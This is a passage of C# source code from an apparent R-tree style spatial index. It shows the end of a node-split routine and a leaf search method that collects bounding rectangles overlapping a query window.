tmp.insert(ptr.current); tmp.head.child = ptr.child; tmp.head.child.parent = tmp.head; tmpmbr = new MBR(info2.mbr); tmp2.insert(tmpmbr); tmp2.head.child = info2.newnode; tmp2.head.child.parent = tmp2.head; } else { tmp.insert(ptr.current); tmp.head.child = ptr.child; tmp.parent = this.parent; tmp2.insert(ptr.current); tmp2.head.child = ptr.child; tmp2.parent = this.parent; } } ptr = ptr.next; } this.head = tmp.head; if (this.parent != null) { this.parent.current.mbr = R1; info.cutxl = this.parent.current.cutxl; info.cutyl = this.parent.current.cutyl; info.cutxh = this.parent.current.cutxh; info.cutyh = this.parent.current.cutyh; } info.mbr2 = R1; info.mbr = R2; info.newnode = tmp2; return info; }
// Search all the MBR in a leaf node that overlaps with the query window W. internal virtual node search_leaf(RECT W) { node rs; CELL curr_cell; MBR new_mbr; if ((this.head != null) && (this.head.child == null)) // leaf { rs = new node(); curr_cell = this.head; while (curr_cell != null) { if (curr_cell.current.check_overlap(W) == 1) { new_mbr = new MBR(curr_cell.current.mbr, curr_cell.current.oid); rs.insert(new_mbr); } curr_cell = curr_cell.next; } return rs; } else { System.Console.Out.WriteLine("ERROR: Empty MBR List or Not Leaf Node\n"); return null; } }